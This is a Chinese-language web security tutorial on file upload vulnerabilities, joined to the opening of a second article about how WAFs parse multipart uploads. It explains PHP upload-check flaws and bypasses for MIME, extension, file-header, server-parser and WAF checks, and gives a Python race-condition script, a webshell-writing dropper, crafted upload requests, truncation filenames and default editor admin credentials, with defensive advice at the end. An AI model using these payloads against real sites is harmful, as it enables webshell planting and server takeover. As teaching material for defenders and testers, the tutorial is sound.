文件上传漏洞

时间:2024-03-10 17:27:19

代码审计

基础

关于 PHP 中 $_FILES 数组的使用方法

$_FILES[‘file’][‘name’] 客户端文件名称

$_FILES[‘file’][‘type’] 文件的 MIME 类型

$_FILES[‘file’][‘size’] 文件大小单位字节

$_FILES[‘file’][‘tmp_name’] 文件被上传后再服务器端临时文件名,可以在 php.ini 中指定

需要注意的是在文件上传结束后,默认的被储存在临时文件夹中,这时必须把他从临时目录中删除或移动到其他地方,否则,脚本运行完毕后,自动删除临时文件,可以使用 copy 或者 *move_uploaded_file 两个函数

程序员对某些常用函数的错误认识

这些函数有: empty()、isset()、strpos()、rename() 等,如下面的代码:

#!php
if($operateId == 1){
   $date = date("Ymd");
   $dest = $CONFIG->basePath."data/files/".$date."/";
   $COMMON->createDir($dest);
   //if (!is_dir($dest))   mkdir($dest, 0777);
   $nameExt = strtolower($COMMON->getFileExtName($_FILES[\'Filedata\'][\'name\']));
   $allowedType = array(\'jpg\'\'gif\'\'bmp\'\'png\'\'jpeg\');
   if(!in_array($nameExt$allowedType)){
       $msg = 0;
   }
   if(empty($msg)){
       $filename = getmicrotime().\'.\'.$nameExt;
       $file_url = urlencode($CONFIG->baseUrl.\'data/files/\'.$date."/".$filename);
       $filename = $dest.$filename;
       if(empty($_FILES[\'Filedata\'][\'error\'])){
           move_uploaded_file($_FILES[\'Filedata\'][\'tmp_name\'],$filename);
       }
       if (file_exists($filename)){
           //$msg = 1;
           $msg = $file_url;
           @chmod($filename0444);
       }else{
           $msg = 0;
       }
   }
   $outMsg = "fileUrl=".$msg;
   $_SESSION["eoutmsg"] = $outMsg;
   exit;
}

我们来看上面的这段代码,要想文件成功的上传, if(empty($msg)) 必须为 True 才能进入 if 的分支,接下来我们来看 empty 函数何时返回 True,看看 PHP Manual 怎么说,如图:

 

很明显,""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的,如果 var 为空,则返回 True。 非常好,接下来我们往回看,有这样的几行代码

#!php
$allowedType = array(\'jpg\'\'gif\'\'bmp\'\'png\'\'jpeg\');

if(!in_array($nameExt$allowedType)){
   $msg = 0;
}

看见没有,即使我们上传类似 shell.php 的文件,虽然程序的安全检查把 $msg 赋值为 0,经 empty($msg) 后,仍然返回 True,于是我们利用这个逻辑缺陷即可成功的上传 shell.php。

程序员对某些常用函数的错误使用

这些函数有 iconv()、copy() 等,如下面的这段代码(摘自 SiteStar)


#!php
public function img_create(){
    $file_info =& ParamHolder::get(\'img_name\'array()PS_FILES);
    if($file_info[\'error\'] > 0){
        Notice::set(\'mod_marquee/msg\'__(\'Invalid post file data!\'));
        Content::redirect(Html::uriquery(\'mod_tool\'\'upload_img\'));
    }
    if(!preg_match(\'/\.(\'.PIC_ALLOW_EXT.\')$/i\'$file_info["name"])){
        Notice::set(\'mod_marquee/msg\'__(\'File type error!\'));
        Content::redirect(Html::uriquery(\'mod_marquee\'\'upload_img\'));
    }
    if(file_exists(ROOT.\'/upload/image/\'.$file_info["name"])){
        $file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"]".");
    }
    if(!$this->_savelinkimg($file_info)){
        Notice::set(\'mod_marquee/msg\'__(\'Link image upload failed!\'));
        Content::redirect(Html::uriquery(\'mod_marquee\'\'upload_img\'));
     }
     //...
}
private function _savelinkimg($struct_file){
   $struct_file[\'name\'] = iconv("UTF-8""gb2312"$struct_file[\'name\']);
   move_uploaded_file($struct_file[\'tmp_name\']ROOT.\'/upload/image/\'.$struct_file[\'name\']);
   return ParamParser::fire_virus(ROOT.\'/upload/image/\'.$struct_file[\'name\']);
}

我们再来看看这段代码, img_create() 函数的逻辑非常严密,安全检查做的很到位。然而问题出在了 _savelinkimg() 函数,即在保存文件的前面程序员错误的使用了 iconv() 函数,并且文件名经过了此函数,为什么是错用了呢?

因为啊 iconv 函数在转码过程中,可能存在字符串截断的问题:

iconv 转码的过程中, utf->gb2312 (其他部分编码之间转换同样存在这个问题)会导致字符串被截断,如:

$filename="shell.php(hex).jpg";

(hex 为 0x80-0x99),经过 iconv 转码后会变成 $filename="shell.php ";

所以,经过 iconv 后 $struct_file[\'name\']) 为 shell.php,于是我们利用这个逻辑缺陷可以成功的上传 shell.php (前提是上传的文件名为 shell.php{%80-%99}.jpg)

历史经典漏洞再次爆发

条件竞争漏洞,这类历史经典漏洞在逐渐淡出人们视线的时候,再次爆发..

接着看下面这段代码(摘自某 VPN 系统)


#!php
<?
if($_POST[\'realfile\']){
   copy($_POST[\'realfile\'],$_POST[\'path\']);
}
$file = mb_convert_encoding($_POST[file]"GBK""UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST[\'realfile\']){
   unlink($_POST["path"]);
}
?>

上述代码的逻辑表面上看起来是这样的(对于攻击者来说):

利用 copy 函数,将 realfile 生成 shell.php 然后删除掉 shell.php

这样初看起来没办法利用,但是仔细一想, 这段代码其实是存在逻辑问题的,所以我们可以利用这个逻辑缺陷达到 GetShell 的目的。

具体利用方法:

copy 成 temp.php --> 不断访问 temp.php --> temp.php 生成 shell.php --> 删除 temp.php --> 留下 shell.php

校验方式分类&总结

客户端 javascript 校验(一般只校验后缀名)

服务端校验

1、文件头 content-type 字段校验(image/gif)

2、文件内容头校验(GIF89a)

3、后缀名黑名单校验

4、后缀名白名单校验

5、自定义正则校验

6、WAF 设备校验(根据不同的 WAF 产品而定)

校验方式溯源

通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 Web 服务器,Web 服务器接收到请求并同意后,用户与 Web 服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:

 

 

校验方式&绕过姿势

 

PUT 方法

WebDAV 是一种基于 HTTP 1.1 协议的通信协议.它扩展了 HTTP 1.1,在 GET、POST、HEAD 等几个 HTTP 标准方法以外添加了一些新的方法。使应用程序可直接对 Web Server 直接读写,并支持写文件锁定 (Locking) 及解锁 (Unlock),还可以支持文件的版本控制。当 WebDAV 开启 PUT,MOVE,COPY,DELETE 方法时,攻击者就可以向服务器上传危险脚本文件。

此时可以使用 OPTIONS 探测服务器支持的 http 方法,如果支持 PUT,就进行上传脚本文件,在通过 MOVE 或 COPY 方法改名。

当开启 DELETE 时还可以删除文件。

参考:

http://wiki.wooyun.org/server:httpput

客户端校验

JavaScript 校验

验证代码如下:


<?php
//文件上传漏洞演示脚本之js验证
$uploaddir = \'uploads/\';
if (isset($_POST[\'submit\'])) {
   if (file_exists($uploaddir)) {
       if (move_uploaded_file($_FILES[\'upfile\'][\'tmp_name\']$uploaddir . \'/\' . $_FILES[\'upfile\'][\'name\'])) {
           echo \'文件上传成功,保存于:\' . $uploaddir . $_FILES[\'upfile\'][\'name\'] . "\n";
       }
   } else {
       exit($uploaddir . \'文件夹不存在,请手工创建!\');
   }
   //print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
   <meta http-equiv="content-language" content="zh-CN"/>
   <title>文件上传漏洞演示脚本--JS验证实例</title>
   <script type="text/javascript">
      function checkFile() {
           var file = document.getElementsByName(\'upfile\')[0].value;
           if (file == null || file == "") {
               alert("你还没有选择任何文件,不能上传!");
               return false;
           }
           //定义允许上传的文件类型
           var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
           //提取上传文件的类型
           var ext_name = file.substring(file.lastIndexOf("."));
           //alert(ext_name);
           //alert(ext_name + "|");
           //判断上传文件类型是否允许上传
           if (allow_ext.indexOf(ext_name + "|") == -1) {
               var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" +     ext_name;
               alert(errMsg);
               return false;
           }
       }
   </script>
<body><h3>文件上传漏洞演示脚本--JS验证实例</h3><form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return     checkFile()">    <input type="hidden" name="MAX_FILE_SIZE" value="204800"/>    请选择要上传的文件:<input type="file" name="upfile"/>    <input type="submit" name="submit" value="上传"/></form></body></html>

客户端 JS 验证通常做法是验证上传文件的扩展名是否符合验证条件

绕过姿势:

1、通过 firefox 的 F12 修改 js 代码绕过验证

2、使用 burp 抓包直接提交,绕过 js 验证

服务器端校验

文件头 content-type 字段校验(服务端 MIME 类型检测)

MIME类型介绍:

MIME type 的缩写为 (Multipurpose Internet Mail Extensions) 代表互联网媒体类型 (Internet media type),MIME 使用一个简单的字符串组成,最初是为了标识邮件 Email 附件的类型,在 html 文件中可以使用 content-type 属性表示,描述了文件类型的互联网标准。

Internet 中有一个专门组织 IANA 来确认标准的 MIME 类型,但 Internet 发展的太快,很多应用程序等不及 IANA 来确认他们使用的 MIME 类型为标准类型。因此他们使用在类别中以 x- 开头的方法标识这个类别还没有成为标准,例如: x-gzip,x-tar 等。事实上这些类型运用的很广泛,已经成为了事实标准。只要客户机和服务器共同承认这个 MIME 类型,即使它是不标准的类型也没有关系,客户程序就能根据 MIME 类型,采用具体的处理手段来处理数据。

Response 对象通过设置 ContentType 使客户端浏览器,区分不同种类的数据,并根据不同的 MIME 调用浏览器内不同的程序嵌入模块来处理相应的数据。

MIME类型格式:

类别/子类别; 参数

Content-Type: [type]/[subtype]; parameter

MIME 主类别:

text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;

Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;

Application:用于传输应用程序数据或者二进制数据;

Message:用于包装一个 E-mail 消息;

Image:用于传输静态图片数据;

Audio:用于传输音频或者音声数据;

Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。

常见MIME类型:

验证代码


<?php
if($_FILE[\'userfile\'][\'type\'] != "image/gif"){ //检测content-type
   echo "sorry,we only allow uploading GIF images";
   exit;
}
else
{
   echo "Upload success!";
}
?>

以上是一个简单的服务器上传验证代码,只要 content-type 符合 image/gif 就允许上传

绕过方式

使用 Burp 截取上传数据包,修改 Content-Type 的值,改为 image/gif 即可成功绕过上传 webshell

服务端文件扩展名检测

测试代码


<?php
$type = array("php""php3");
//判断上传文件类型
$fileext = fileext($_FILE[\'file\'][\'name\']);
if(!in_array($fileext,$type)){
   echo "upload success!";
}
else{
   echo "sorry";
}
?>

默认上传后的文件保存的名字是已获取到的名字

绕过技巧

配合 Apache 的 .htaccess 文件上传解析漏洞

.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能 IIS 平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

有些服务器在上传认证时没有拦截 .htaccess 文件上传,就会造成恶意用户利用上传 .htaccess 文件解析漏洞,来绕过验证进行上传 WEBShell,从而达到控制网站服务器的目的。

首先我们编写一个 .htaccess 文件,打开记事本,编写代码 “AddType application/x-httpd-php .jpg”,然后点击文件选中另存为,编写文件名为 .htaccess,选择保存类型为所有文件。然后将其进行上传。因为 .htaccess 是 apache 服务器中的一个配置文件,不在上传的文件的黑名单之内,所以 .htaccess 文件是可以上传成功。

接下来我们生成一个一句话木马文件,如取名为 yijuhua.php,因为之前上传成功到服务器的 .htaccess 文件里的代码可以让 .jpg 后缀名文件格式的文件名以 php 格式解析,因此达到了可执行的效果。所以我们把 yijuhua.php 文件的后缀名改为 .jpg 格式,让 .htaccess 文件解析 yijuhua.jpg 文件里的 php 代码,从而使木马上传成功并达到可执行的目的。

Apache 站上的解析缺陷绕过上传漏洞

Apache 的解析漏洞主要特性为 Apache 是从后面开始检查后缀,按最后一个合法后缀执行,整个漏洞的关键就是 Apache 的合法后缀到底是哪些,不是合法后缀的都可以被利用,所以将木马的后缀进行修改为允许上传的类型后,即可成功绕过验证,最终拿到权限。

例如新建完要上传的一句话木马文件后命名为 yijuhua.php,然后我们在文件后缀处添加上 7z,就有可能绕过验证上传成功。也可以修改后缀名为 cab、zip、bmp 等,只要是允许的上传类型都可能被上传成功。最后通过菜刀类工具访问即可。

IIS6.0 站上的目录路径检测解析绕过上传漏洞

当我们使用的服务器都是 Windows2003,并且使用的服务为 IIS6.0 时,就可能存在如本节所描述的漏洞。

以 asp 为例,先准备好一句话木马文件,然后通过 burpsuite 进行抓包:

 

查看数据包:

其中 Content-Disposition:form-data;name=”path” 下面的一行为服务保存文件的相对路径,我们把原本的 uploadimg/ 改为 uploadimg/1.asp/;,filename="yijuhua.asp" 修改为 filename="yijuhua.asp/1.jpg"。如图:

 

本例的知识点在于利用了 IIS6.0 目录路径检测解析,文件的名字为 “yijuhua.asp/1.jpg”,也同样会被 IIS 当作 ASP 文件来解析并执行。

首先我们请求 /yijuhua.asp/1.jpg,服务器会从头部查找查找 "." 号,获得 .asp/1.jpg。然后查找 "/",如果有则内存截断,所以 /yijuhua.asp/1.jpg 会当做 /yijuhua.asp 进行解析。

上传成功后,通过 response 我们可以查看到得到的文件名信息为 “1.asp;14127900008.asp”,那么就可以在前面添加上 uploadimg/,从而构造访问地址为: “http://www.test.com/uploadimg/1.asp;14127900008.asp”,并通过菜刀类的工具进行访问了。

IIS6.0 站上的解析缺陷绕过上传漏洞

此类方法与上面讲的目录解析有点类似,不同点在于是利用文件解析来达到绕过上传的目的。

以 php 为例,同样是准备好一句话木马文件后通过 burpsuite 进行抓包。

查看数据包:

其中 Content-Disposition:form-data;name=”path” 下面的一行为服务保存文件的相对路径,我们把原本的 uploadimg/ 改为  uploadimg/1.php; ,filename="yijuhua.php" 修改为 filename="yijuhua.jpg"

 

本例中的知识点在于利用了 IIS6.0 目录路径检测解析,文件的名字为 “1.php;yijuhua.jpg”,也同样会被 IIS 当作 PHP 文件来解析并执行

首先我们请求 /1.php;yijuhua.jpg,然后服务器会从头部查找查找 "." 号,获得 .php;yijuhua.jpg。接着查找到 ";",有则内存截断,所以 /1.php;yijuhua.jpg 会当做 /1.php 进行解析。

最后类似上一节那样,通过 response 我们可以查看到得到的文件名信息为 “1.php;14127900008.php”,在前面添加上 uploadimg/,从而构造访问地址为: “http://www.test.com/uploadimg/1.php;14127900008.php”,并通过菜刀类的工具进行访问。

1、使用大小写绕过(针对对大小写不敏感的系统如 windows),如:PhP

2、使用黑名单外的脚本类型,如:php5,asa 和 cer 等( IIS 默认支持解析 .asp,.cdx, .asa,.cer 等)

能被解析的文件扩展名列表:

jsp jspx jspf

asp asa cer aspx

3、配合操作系统文件命令规则

(1)上传不符合 windows 文件命名规则的文件名

test.asp.

test.asp(空格)

test.php:1.jpg

test.php:: $DATA

会被 windows 系统自动去掉不符合规则符号后面的内容。

(2)linux 下后缀名大小写

在 linux 下,如果上传 php 不被解析,可以试试上传 pHp 后缀的文件名。

(3)借助系统特性突破扩展名验证,如:test.php_(在 windows 下,下划线是空格,保存文件时下划线被吃掉剩下 test.php)

4、双扩展名之间使用 00 截断,绕过验证上传恶意代码

0x00 截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候

test.php(0x00).jpg

test.php%00.jpg

路径 /upload/1.php(0x00),文件名 1.jpg,结合 /upload/1.php(0x00)/1.jpg

5、超长文件名截断上传 (windows 258byte | linux 4096byte)

服务端检测文件内容

配合文件包含漏洞

前提:校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。

绕过方式:(这里拿 php 为例,此漏洞主要存在于 PHP 中)

(1)先上传一个内容为木马的 txt 后缀文件,因为后缀名的关系没有检验内容;

(2)然后再上传一个 .php 的文件,内容为 <?php Include(“上传的txt文件路径”);?>

此时,这个 php 文件就会去引用 txt 文件的内容,从而绕过校验,下面列举包含的语法:

#PHP    
<?php Include("上传的txt文件路径");?>
#ASP    
<!--#include file="上传的txt文件路径" -->
#JSP    
<jsp:inclde page="上传的txt文件路径"/>
or  
<%@include file="上传的txt文件路径"%>

详细参考:文件包含漏洞(绕过姿势)

http://thief.one/2017/04/10/2/

利用 PHP 特性(使用数组绕过)

 

file_put_contents 这个函数的第二个参数 可以是数组

然后 如果代码里用正则匹配 bad word 的时候

对一个数组进行正则匹配没用

服务端检测文件头

文件头简介

不同的图片文件都有不同文件头,如:

PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A

JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)

GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61

PHP 使用 getimagesize 函数验证图片文件头

绕过方式

绕过这个检测只需要在恶意脚本前加上允许上传文件的头标识就可以了

在木马内容基础上再加了一些文件信息,有点像下面的结构

GIF89a
<?php phpinfo(); ?>

 

上传到服务端后验证

竞争上传

演示代码


<?php
$allowtype = array("gif""png""jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES[\'file\'][\'name\'];

if(is_uploaded_file($_FILES[\'file\'][\'tmp_name\'])){
   if(!move_uploaded_file($_FILES[\'file\'][\'tmp_name\'],$path.$filename)){
       die("error:can not move");
   }
}else{
   die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if($_FILES[\'file\'][\'error\']>0){
   unlink($newfile);
   die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES[\'file\'][\'name\']));
if(!in_array($ext,$allowtype)){
   unlink($newfile);
   die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个 php 文件,内容为:

<?php fputs(fopen("./info.php", "w"), \'<?php @xxxxxxxx($_POST["drops"]) ?>\'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的 php 文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个 shell。利用代码如下:


import os
import requests
import threading

class RaceCondition(threading.Thread):
   def __init__(self):
       threading.Thread.__init__(self)
       self.url = "http://127.0.0.1:8080/upload/shell0.php"
       self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

   def _get(self):
       print(\'try to call uploaded file...\')
       r = requests.get(self.url)
       if r.status_code == 200:
           print("[*]create file info.php success")
           os._exit(0)

   def _upload(self):
       print("upload file.....")
       file = {"file":open("shell0.php""r")}
       requests.post(self.uploadUrl, files=file)

   def run(self):
       while True:
           for i in range(5):
               self._get()
           for i in range(10):
               self._upload()
               self._get()

if __name__ == "__main__":
   threads = 20

   for i in range(threads):
       t = RaceCondition()
       t.start()

   for i in range(threads):
       t.join()

经过几次尝试后成功成功写入 shell

 

 

针对各种 CMS

比如说 JCMS 等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。

PHPCMSv9.6.0 任意文件上传

针对各种编辑器漏洞

比如 FCK,ewebeditor 等,可以针对编辑器的漏洞进行绕过。

文本编辑器

常见的文本编辑器有 CKEditor、eWebEditor、UEditor、KindEditor、xhEditor 等,它们的功能类似且都有图片上传、视频上传、远程下载等功能,这类文本编辑器也称为富文本编辑器。

FCKeditor

下面以 FCKeditor (现名为 CKEditor )为例:

1、敏感信息暴漏

查看版本信息

/FCKeditor/editor/dialog/fck_about.html

默认上传页面

/FCKeditor/editor/filemanager/browser/default/browser.html

/FCKeditor/editor/filemanager/browser/default/connectors/test.html

/FCKeditor/editor/filemanager/upload/test.html

/FCKeditor/editor/filemanager/connectors/test.html

/FCKeditor/editor/filemanager/connectors/uploadtest.html

其他敏感文件

/FCKeditor/editor/filemanager/connectors/aspx/connector.html

/FCKeditor/editor/filemanager/connectors/asp/connector.html

/FCKeditor/editor/filemanager/connectors/php/connector.php

2、黑名单策略错误

FCKeditor<=2.4.3 版本采用的是有弊端的黑名单策略,可以采用 asa、cer 等扩展名

3、任意文件上传漏洞

FCKeditor 的 2.4.2 及以下本本的黑名单配置信息里没有定义类型 Media,直接构造 html表单就行,

在 form 中的

action="http://22.22.22.22/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media"

即可,然后上传

eWebEditor

1、默认后台

2.80 以前为: ewebeditor/admin_login.asp

2.80 以后为: admin/login.asp

2、默认账号密码

admin   admin888

3、数据库地址

默认数据库地址

ewebeditor/db/ewebeditor.mdb

常用数据库地址

ewebeditor/db/ewebeditor.asa

ewebeditor/db/ewebeditor.asa

ewebeditor/db/#ewebeditor.asa

ewebeditor/db/#ewebeditor.mdb

ewebeditor/db/!@#ewebeditor.asp

ewebeditor/db/ewebeditor1033.mdb

asp asa 为后缀的数据库下载下来后改为 mdb

针对各种 WAF

 

1、垃圾数据

有些主机 WAF 软件为了不影响 web 服务器的性能,会对校验的用户数据设置大小上限,比如 1M。此种情况可以构造一个大文件,前面 1M 的内容为垃圾内容,后面才是真正的木马内容,便可以绕过 WAF 对文件内容的校验;

 

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

 

可以将垃圾数据加上 Content-Disposition 参数后面,参数内容过长,可能会导致 waf 检测出错。

2、filename

针对早期版本安全狗,可以多加一个 filename

 

或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:

 

 

3、POST/GET

有些 WAF 的规则是:如果数据包为 POST 类型,则校验数据包内容。

此种情况可以上传一个 POST 型的数据包,抓包将 POST 改为 GET。

4、以上方式

针对 WAF,以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。

5、利用 waf 本身缺陷

删除实体里面的 Conten-Type 字段

 

第一种是删除 Content 整行,第二种是删除 C 后面的字符。删除掉 Content-Type: image/jpeg 只留下 c,将 .php 加 c 后面即可,但是要注意额,双引号要跟着 c.php。

正常包:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

构造包:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php"

删除 Content-Disposition 字段里的空格

增加一个空格导致安全狗被绕过案列:

Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099

尝试在 boundary 后面加个空格或者其他可被正常处理的字符:

boundary= —————————47146314211411730218525550

修改 Content-Disposition 字段值的大小写

 

Boundary边界不一致

每次文件上传时的 Boundary 边界都是一致的:


Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream

<%xxxxxxxx request("a")%>
-----------------------------4714631421141173021852555099--

但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段 Boundary 不一致使得 waf 认为这段数据是无意义的,可是容器并没有那么严谨:

Win2k3 + IIS6.0 + ASP

 

文件名处回车

 

多个 Content-Disposition

在 IIS 的环境下,上传文件时如果存在多个 Content-Disposition 的话,IIS 会取第一个 Content-Disposition 中的值作为接收参数,而如果 waf 只是取最后一个的话便会被绕过

Win2k8 + IIS7.0 + PHP

 

利用 NTFS ADS 特性

ADS 是 NTFS 磁盘格式的一个特性,用于 NTFS 交换数据流。在上传文件时,如果 waf 对请求正文的 filename 匹配不当的话可能会导致绕过。

 

文件重命名绕过

如果 web 程序会将 filename 除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

特殊的长文件名绕过

文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反删除

将下图 file1 改成了 file4,这样就不会把这个文件删除了。(JCMS 漏洞)

 

总结

条件:

寻找一个上传点,查看上传点是否可用。

利用:

首先判断是程序员自己写的上传点,还是编辑器的上传功能

如果是编辑器上传功能,google 当前编辑器的漏洞

如果是程序员写的上传点

上传一个正常的 jpg 图片 查看上传点是否可用

上传一个正常的 jpg 图片,burp 拦截,修改后缀为 php (可以检测前端验证 MIME 检测 文件内容检测 后缀检测)

上传一个正常的 jpg 图片,burp 拦截, 00 截断 1.php%00.jpg

判断服务器是什么类型,web 服务器程序,是什么类型,版本号多少

利用解析漏洞

防护建议

1、使用白名单限制可以上传的文件扩展(白名单比黑名单可靠多了)

2、验证文件内容,使用正则匹配恶意代码限制上传

3、对上传后的文件统一随机命名,不允许用户控制扩展名

4、修复服务器可能存在的解析漏洞

5、严格限制可以修改服务器配置的文件上传如:.htaccess

6、隐藏上传文件路径。

7、升级Web Server

8、及时修复Web上传代码(重要)

9、不能有本地文件包含漏洞

10、注意0x00截断攻击(PHP更新到最新版本)

11、上传文件的存储目录禁用执行权限

拓展资料

http://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/

参考资料

http://www.y-hkl.top/2017/09/16/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%E5%8F%8A%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/

http://www.cnblogs.com/stevenwuzheng/p/5354236.html

https://blog.csdn.net/weiwangchao_/article/details/46686505

http://www.myh0st.cn/index.php/archives/7/

http://rdc.hundsun.com/portal/article/627.html

http://jdrops.dropsec.xyz/2017/07/17/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/

http://wyb0.com/posts/file-upload-editor-upload-vulnerability/

 

1. 前言

 

本文主要讨论下 文件上传和WAF的功与防。

 

测试环境均为

 

  • nginx/1.10.3
  • PHP 5.5.34

 

有些特性和 语言及webserver有关,有问题的地方,欢迎大家指正。

 

2. 文件上传的特征

 

先来了解下文件上传的特征,抓包看看这段文件上传代码的HTTP请求。

 

upload.php

 

<?php

if(isset($_POST[\'submit_x\'])){
    $upfile = $_FILES[\'filename\'][\'name\'];
    $tempfile = $_FILES[\'filename\'][\'tmp_name\'];

    $ext = trim(get_extension($upfile)); 

    // 判断文件后缀是否为数组里的值
    if(in_array($ext,array(\'xxx\'))){
        die(\'Warning! File type error..\');
    }

    $savefile = \'upload/\' . $upfile;
    if(move_uploaded_file($tempfile, $savefile)){
        die(\'Upload success! FileName: \'.$savefile);
    }else{
        die(\'Upload failed..\');
    }
}

// 获取文件后缀名,并转为小写
function get_extension($file){
    return strtolower(substr($file, strrpos($file, \'.\')+1));
}

?>

<html>
 <body>
  <form method="post" action="#" enctype="multipart/form-data">
   <input type="file" name="file_x" value=""/>
   <input type="submit" name="submit_x" value="upload"/>
  </form>
 </body>
</html>

 

请求

 

POST /upload.php HTTP/1.1
Host: localhost
Content-Length: 274
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2
Connection: close

------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="file_x"; filename="xx.php"

<?php phpinfo(); ?>
------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryuKS18BporicXJfTx--

 

从中获取特征为:

 

  • 请求Header中Content-Type存在以下特征:

    • multipart/form-data(表示该请求是一个文件上传请求)
    • 存在boundary字符串(作用为分隔符,以区分POST数据)
  • POST的内容存在以下特征:

    • Content-Disposition
    • name
    • filename
  • POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary
  • 最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)

 

3. WAF如何拦截

 

先来想想,如果自己写WAF来防御恶意文件上传。你应该如何防御?

 

  • 文件名

    • 解析文件名,判断是否在黑名单内。
  • 文件内容

    • 解析文件内容,判断是否为webshell。
  • 文件目录权限

    • 该功能需要主机WAF实现,比如我见过的云锁。

 

目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。

 

大致步骤如下:

 

  1. 获取Request Header里的Content-Type值中获取boundary值
  2. 根据第一步的boundary值,解析POST数据,获取文件名
  3. 判断文件名是否在拦截黑名单内

 

看看春哥写的lua-resty-multipart-parser,就能理解了,不过这份代码已经没维护了。但是这份代码解析了文件名,只是绕过方式比较多233。看到这份解析代码是由于某个WAF使用的这份代码,具体这WAF叫什么名字,现在找不到了,不过github上搜下应该就出来了。

 

lua-resty-upload这份代码还在维护,不过只是取了内容,文件名需要自己解析。

 

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="xx.php"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

 

返回

 

read: ["header",["Content-Disposition","form-data; name=\"file_x\"; filename=\"xx.php\"","Content-Disposition: form-data; name=\"file_x\"; filename=\"xx.php\""]]
read: ["header",["Content-Type","text\/javascript","Content-Type: text\/javascript"]]
read: ["body","<?php phpinfo(); ?>"]
read: ["part_end"]
